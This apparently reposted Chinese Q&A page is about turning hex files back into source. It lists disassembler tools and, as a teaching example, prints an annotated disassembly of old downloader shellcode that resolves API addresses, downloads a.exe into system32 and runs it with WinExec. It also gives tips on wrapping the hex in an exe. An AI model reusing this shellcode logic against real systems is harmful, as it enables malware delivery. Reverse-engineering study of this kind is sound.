怎样用keil把hex文件还原成源程序

怎样用keil把hex文件还原成源程序,第1张

Keil本身不能实现这个功能(Keil虽然自带反汇编器,但是不支持对外部文件的反汇编,只能对自己生成的对象进行反汇编)。

你可以去找别的反汇编软件。

如果是类似于51这样直白的精简指令集,代码量少的话完全可以自己对照指令手册反汇编,如果代码量大的话可以自己写一个反汇编软件。

文件有两种,一种是文本文件,一种是程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。

1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。

OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,然后自己编写代码。

在Windows平台,特别是x64平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。

2、对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,这段不起眼的代码,实际上实现了一个下载者的功能。

拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。

将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:

4AD75021    5A                     pop     edx                                            函数返回的地址保存到edx中

4AD75022    64:A1 30000000         mov     eax, dword ptr fs:[30]                         取peb

4AD75028    8B40 0C                mov     eax, dword ptr [eax+C]                         peb_link

4AD7502B    8B70 1C                mov     esi, dword ptr [eax+1C]                        初始化列表到esi

4AD7502E    AD                     lods    dword ptr [esi]                                [esi]->eax + 8的位置即kernel32.dll的地址

4AD7502F    8B40 08                mov     eax, dword ptr [eax+8]                         eax=kernel32.dll的地址

4AD75032    8BD8                   mov     ebx, eax                                       ebx=kernel32.dll的基址

4AD75034    8B73 3C                mov     esi, dword ptr [ebx+3C]                        esi = pe头偏移

4AD75037    8B741E 78              mov     esi, dword ptr [esi+ebx+78]                    esi为kernel32.dll导出表的偏移

4AD7503B    03F3                   add     esi, ebx                                       esi = kernel32.dll导出表的虚拟地址

4AD7503D    8B7E 20                mov     edi, dword ptr [esi+20]                        edi=ent的偏移地址

4AD75040    03FB                   add     edi, ebx                                       edi = ent的虚拟地址

4AD75042    8B4E 14                mov     ecx, dword ptr [esi+14]                        ecx = kernel32.dll导出地址的个数

4AD75045    33ED                   xor     ebp, ebp                                       ebp=0

4AD75047    56                     push    esi                                            保存导出表虚拟地址

4AD75048    57                     push    edi                                            保存ent虚拟地址

4AD75049    51                     push    ecx                                            保存计数

4AD7504A    8B3F                   mov     edi, dword ptr [edi]

4AD7504C    03FB                   add     edi, ebx                                       定位ent中的函数名

4AD7504E    8BF2                   mov     esi, edx                                       esi为 要查询的函数GetProcAddress即该call的下一个地址是数据

4AD75050    6A 0E                  push    0E                                             0xe0是GetProcAddress函数的字符个数

4AD75052    59                     pop     ecx                                            设置循环次数为 0xe

4AD75053    F3:A6                  repe    cmps byte ptr es:[edi], byte ptr [esi]         ecx!=0&&zf=1 ecx=ecx-1 cmps判断 GetProcAddress

4AD75055    74 08                  je      short 4AD7505F                                 如果ENT中的函数名为GetProcAddress跳走

4AD75057    59                     pop     ecx                                            不相等则将导出地址数出栈

4AD75058    5F                     pop     edi                                            ent虚拟地址出栈

4AD75059    83C7 04                add     edi, 4                                         edi地址递增4字节 因为ENT的元素大小为4字节

4AD7505C    45                     inc     ebp                                            ebp用于保存ent中定位到GetProcAddress函数时的计数

4AD7505D  ^ E2 E9                  loopd   short 4AD75048                                 循环查询

4AD7505F    59                     pop     ecx

4AD75060    5F                     pop     edi

4AD75061    5E                     pop     esi

4AD75062    8BCD                   mov     ecx, ebp                                       计数保存于ecx

4AD75064    8B46 24                mov     eax, dword ptr [esi+24]                        esi+0x24 Ordinal序号表偏移地址

4AD75067    03C3                   add     eax, ebx                                       ordinal序号表的虚拟地址

4AD75069    D1E1                   shl     ecx, 1                                         ecx逻辑增加2倍  因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍

4AD7506B    03C1                   add     eax, ecx

4AD7506D    33C9                   xor     ecx, ecx                                       ecx=0

4AD7506F    66:8B08                mov     cx, word ptr [eax]                             保存取出的ordinal序号

4AD75072    8B46 1C                mov     eax, dword ptr [esi+1C]                        eax 为kenrnel32.dll的EAT的偏移地址

4AD75075 >  03C3                   add     eax, ebx                                       eax = kernel32.dll的eat虚拟地址

4AD75077    C1E1 02                shl     ecx, 2                                         同上,扩大4倍因为eat中元素为DWORD值

4AD7507A    03C1                   add     eax, ecx

4AD7507C    8B00                   mov     eax, dword ptr [eax]                           eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA

4AD7507E    03C3                   add     eax, ebx                                       与基址相加求得GetProcAddress函数的虚拟地址

4AD75080    8BFA                   mov     edi, edx                                       GetProcAddress字符到edi

4AD75082    8BF7                   mov     esi, edi                                       esi保存GetProcAddress地址

4AD75084    83C6 0E                add     esi, 0E                                        esi指向GetProcAddress字符串的末地址

4AD75087    8BD0                   mov     edx, eax                                       edx为GetProcAddress的地址

4AD75089    6A 04                  push    4

4AD7508B    59                     pop     ecx                                            ecx=4

有经验的程序员, 通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:

4AD7508C    E8 50000000            call    4AD750E1                                       设置IAT 得到4个函数的地址

4AD75091    83C6 0D                add     esi, 0D                                        从这里开始实现ShellCode的真正功能

4AD75094    52                     push    edx

4AD75095    56                     push    esi                                            urlmon

4AD75096    FF57 FC                call    dword ptr [edi-4]                              调用LoadLibrarA来加载urlmon.dll

4AD75099    5A                     pop     edx                                            edx = GetProcAddress的地址

4AD7509A    8BD8                   mov     ebx, eax

4AD7509C    6A 01                  push    1

4AD7509E    59                     pop     ecx

4AD7509F    E8 3D000000            call    4AD750E1                                       再次设置 IAT 得到URLDownLoadToFileA

4AD750A4    83C6 13                add     esi, 13                                        esi指向URLDownLoadToFileA的末地址

4AD750A7    56                     push    esi

4AD750A8    46                     inc     esi

4AD750A9    803E 80                cmp     byte ptr [esi], 80                             判断esi是否为0x80 这里在原码中有0x80如果要自己用,应该加上一个字节用于表示程序结束

4AD750AC  ^ 75 FA                  jnz     short 4AD750A8                                 跨过这个跳转,需要在OD中CTRL+E修改数据为0x80

4AD750AE    8036 80                xor     byte ptr [esi], 80

4AD750B1    5E                     pop     esi

4AD750B2    83EC 20                sub     esp, 20                                        开辟 32 byte栈空间

4AD750B5 >  8BDC                   mov     ebx, esp                                       ebx为栈区的指针

4AD750B7    6A 20                  push    20

4AD750B9    53                     push    ebx

4AD750BA    FF57 EC                call    dword ptr [edi-14]                             调用GetSystemDirectoryA得到系统目录

4AD750BD    C70403 5C612E65        mov     dword ptr [ebx+eax], 652E615C                  ebx+0x13 系统路径占 0x13个字节

4AD750C4    C74403 04 78650000     mov     dword ptr [ebx+eax+4], 6578                    拼接下载后的文件路径%systemroot%\system32\a.exe

4AD750CC    33C0                   xor     eax, eax

4AD750CE    50                     push    eax

4AD750CF    50                     push    eax

4AD750D0    53                     push    ebx

4AD750D1    56                     push    esi

4AD750D2    50                     push    eax

4AD750D3 >  FF57 FC                call    dword ptr [edi-4]                              URLDownLoadToFile下载文件为a.exe

4AD750D6    8BDC                   mov     ebx, esp

4AD750D8    50                     push    eax

4AD750D9    53                     push    ebx

4AD750DA    FF57 F0                call    dword ptr [edi-10]                             WinExec执行代码

4AD750DD    50                     push    eax

4AD750DE    FF57 F4                call    dword ptr [edi-C]                              ExitThread退出线程

接下来的 *** 作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。 后面的数据区不在分析了,主要是介绍如何 *** 作。

使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:

通过这个实例 ,相信应该能理解一个大致的流程啦。

有两种方法:

1、用相应的IDE(例如:keil)创建一个工程,然后将该C语言文件中的代码复制到工程中的目录下。然后使用keil 对该工程进行编译。这样就可以得到hex文件。

2、使用相应的编译器,一步一步的编译。

不推荐第二种方法因为,单独使用编译器编译需要很多麻烦的步骤,还有可能会出错。直接使用IDE会更加方便省去很多麻烦的步骤。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/8032066.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-04-12
下一篇 2023-04-12

发表评论

登录后才能评论

评论列表(0条)

保存